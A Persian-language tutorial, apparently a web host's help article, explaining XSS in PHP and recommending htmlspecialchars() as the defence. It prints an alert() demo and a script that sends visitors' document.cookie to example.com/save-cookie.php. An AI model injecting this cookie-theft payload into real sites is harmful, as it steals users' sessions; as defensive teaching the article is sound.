done_all جلوگیری از حملات xss در php

XSS بعد از حملات injection در php از اهمیت بسیار بالایی برخوردار است. زیرا هکرها به راحتی توسط این نوع حمله می توانند اطلاعات کاربران سایت شما را به سرقت ببرند. پس حتما به این آموزش دقت کنید.

حمله XSS چیست؟

XSS مخفف عبارت Cross-Site-Scripting است و به دلیل اینکه با CSS اشتباه گرفته نشود ابتدای آن را با حرف X شروع می کنند.
در این نوع حمله نفوذگر اسکریپتهای جاوااسکریپت یا برچسب های HTML دلخواه خود را به صفحه قربانی تزریق کرده و این کدهای مخرب روی مرورگر کاربران دیگر سایت اجرا میشود.
فرض کنید یک سایت نظر سنجی که کاربران نظرات خود را درج می کنند و نظرات دیگران را نیز مشاهده می کنند، در برابر حمله XSS آسیب پذیر باشد.
خب دراینجا شخص نفوذگر کد جاوااسکریپت زیر را در قسمت ثبت نظر وارد می کند:

<script>alert("This Site is Hacked");</script>

xss js
از آنجایی که برای مقابله با حملات XSS تدابیری انجام نشده پس کد بالا در صفحه ذخیره و توسط مرورگر چاپ و سپس اجرا می شود که حاصل کار نمایش متن اخطار به تمامی کاربران است:

حملات xss

اگر نگاهی به source صفحه پس از حمله بیندازیم متوجه می شویم که کد عینا در صفحه چاپ شده است که همین موجب اجرای آن در صفحه توسط مرورگر شده است: 

javascript alert

قطعا برای شما اکنون این سوال پیش آمده که یک کد هشدار در صفحه نمی تواند اطلاعات کاربران را به سرقت ببرد. قطعا درست است. اما شخص نفوذگر توسط کد زیر می تواند به کوکی های تمامی کاربران دسترسی داشته باشد:

<script>location.href="http://example.com/save-cookie.php?data="+escape(document.cookie)</script> 

جلوگیری از حمله xss

بهترین روش برای جلوگیری از حمله xss در php این است که شما کاراکترهای خاص که اغلب در کدهای جاوااسکریپت مورد استفاده قرار می گیرند را به شکل معادل آن در html بنویسیم تا از اجرای آن توسط مرورگر جلوگیری کنیم.

بعض از این کارکترها و معادل آنها در HTML به شرح زیر است:

html special chars

روش جلوگیری از حمله xss در php

اما در php چگونه کاراکترهای خاص را به معادل آنها در HTML تبدیل کنیم؟
جواب استفاده از تابع htmlspecialchars() در php می باشد. این تابع کاراکتر های خاص را در ورودی هایی که کاربران ارسال کرده اند شناسایی می کند و آن ها را به معادل آن در HTML تبدیل می کند. می توانید ورودی هایی که توسط کاربران به سایت شما ارسال می شوند را توسط این تابع فیلتر کنید:

htmlspecialchars($_GET['comment']);

کد جااوا اسکریپت بالا پس از ارسال به این تابع به شکل زیر تبدیل می شود و از اجرای آن جلوگیری می شود:

&lt;script&gt;alert(&quot;This Site is Hacked&quot;);&lt;/script&gt;gt;

 

آیا این پاسخ به شما کمک کرد؟

دسترسی سریع

ثبت دامنه

ثبت دامنه

فالوور و لایک

افزایش فالوور و لایک

طراحی لوگو

طراحی لوگو

طراحی سایت

طراحی سایت

هاست لینوکس

هاست لینوکس

افزایش بازدید

افزایش بازدید
 پرینت این مقاله

در همین زمینه

ویروس های باجگیر (باج افزار ) چیست؟

ویروس های باجگیر(باج افزار ) ویروس های باجگیر ویروس هاییهستند که با نفوذ به سیستم قربانی اطلاعات...

نکات مهمی که باید در مورد امنیت دیتابیس بدانید

آسیب های نرم افزاری مطلب مهمی که باید بدانید این است که هکرها از نرم افزار های مخرب به عنوان...

راه های افزایش امنیت وبسایت

امنیت وب سایت  هکر هااز زمانی که سایت ها ایجاد شده اند تا به امروز به طور مداوم به سایت ها حمله...

تهدیدات بدافزاری (Malware Threats)

در این مطلب قصد دارم تحدیدات بدافزاری را در زمینه ی امنیت اطلاعات بر اساس دسته بندی شرح دهم.برای...

ده اشتباه برنامه نویسی در دیتابیس MySQL

طراحی مناسب دیتابیس(یا پایگاه داده) در وبسایتها و برنامه‏ های تحت وب، تاثیری زیادی در کارایی و...